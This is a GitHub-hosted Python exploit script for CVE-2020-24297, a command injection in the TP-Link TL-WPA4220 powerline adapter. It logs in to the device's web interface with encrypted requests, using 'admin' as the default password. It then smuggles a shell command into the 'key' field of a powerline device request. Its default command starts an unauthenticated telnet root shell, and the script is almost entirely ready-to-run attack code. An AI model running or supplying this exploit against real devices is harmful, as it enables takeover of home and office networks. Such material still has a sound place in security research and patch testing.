Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
#!/bin/env python3
# Exploit Title: TP-Link WPA4220 Command Injection
# Date: 2020-11-17
# Exploit Author: Oriol Castejon @foolisses
# Vendor Homepage: https://www.tp-link.com
# Software Link: https://www.tp-link.com/en/support/download/tl-wpa4220/v4/#Firmware
# Version: TL-WPA4220(EU)_V4_190326
# CVE : CVE-2020-24297
import argparse
import base64
import hashlib
import json
import requests
from Crypto.Cipher import AES
# These parameters are set by the browser, so we can decide their value
key = b'1595026205026583'
iv = b'1595026205026193'
def rsa_encrypt(plaintext):
encrypted = ''
for i in range(len(plaintext) // 64 + 1):
block = plaintext[i * 64:(i + 1) * 64]
encoded = [format(ord(c), 'x') for c in block] + ['00'] * (64 - len(block))
encoded = int("".join(encoded), 16)
encrypted_block = pow(encoded, e, n)
encrypted += format(encrypted_block, 'x')
if len(encrypted) % 2 == 1:
encrypted = '0' + encrypted
return encrypted
def aes_encrypt(plaintext):
padded = pad(plaintext)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded.encode())
return base64.b64encode(encrypted).decode('utf-8')
def aes_decrypt(encrypted):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(base64.b64decode(encrypted))
return plaintext[:-ord(plaintext[len(plaintext) - 1:])].decode('utf-8')
def pad(plaintext):
pad = AES.block_size - len(plaintext) % AES.block_size
return plaintext + pad * chr(pad)
def get_rsa_pubkey_seq(target):
r = requests.post("http://{}/login?form=auth".format(target), data={"operation": "read"})
r = r.json()
if not r.get("success"):
print("[!] Something went wrong, couldn't retrieve RSA public key")
return False, False, False
n = int(r["data"]["key"][0], 16)
e = int(r["data"]["key"][1], 16)
seq = int(r["data"]["seq"])
return n, e, seq
def send_encrypted_request(target, path, plaintext_data, password, is_login=False):
url = "http://{}{}".format(target, path)
encrypted_data = aes_encrypt(plaintext_data)
m = hashlib.md5()
m.update(password.encode('utf-8'))
password_hash = m.hexdigest()
if is_login:
sign = rsa_encrypt("k={}&i={}&h={}&s={}".format(key.decode('utf-8'), iv.decode('utf-8'), password_hash,
seq + len(encrypted_data)))
else:
sign = rsa_encrypt("h={}&s={}".format(password_hash, seq + len(encrypted_data)))
data = {
"sign": sign,
"data": encrypted_data
}
headers = {
"Host": target,
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://{}".format(target),
"Connection": "close",
"Referer": "http://{}/".format(target),
"Cookie": "Authorization="
}
r = requests.post(url, data=data, headers=headers)
try:
encrypted_data = r.json().get("data")
response = aes_decrypt(encrypted_data)
if is_login and not json.loads(response).get("success"):
return False
except Exception as ex:
print("There was some error, could not decrypt response. Error: {}".format(ex))
return False
return True
def login(target, password):
print("[+] Logging in with password: {}".format(password))
if send_encrypted_request(target, "/login?form=login", "operation=login&password={}".format(rsa_encrypt(password)),
password, True):
print("[+] Login executed successfully")
else:
print("[!] Login failed!")
return False
return True
def exploit(target, password, cmd):
print("[+] Sending exploit. This will take a some seconds, please be patient!")
if send_encrypted_request(target, "/admin/powerline?form=plc_device", "operation=remove&key=1234; {} #".format(cmd),
password):
print("[+] Exploit executed successfully")
if cmd == "telnetd -l /bin/sh":
print("[+] Now you can connect to the device with the following command:\n telnet {}".format(target))
else:
print("[!] Failed to execute exploit")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='RCE exploit for the TL-WPA4220')
parser.add_argument('target', type=str, metavar='target', help='IP of the TL-WPA4220 device')
parser.add_argument('-p', '--password', type=str, metavar='password',
help='Password of the TL-WPA4220 Web interface (default: admin)', default='admin')
parser.add_argument('-c', '--cmd', type=str, metavar='command',
help='Command to execute in the device (if not specified, it will start the telnet service)',
default='telnetd -l /bin/sh')
args = parser.parse_args()
print("[+] Getting RSA public key of the device")
n, e, seq = get_rsa_pubkey_seq(args.target)
if n and e and seq:
print("[+] RSA public key correctly obtained")
if login(args.target, args.password):
exploit(args.target, args.password, args.cmd)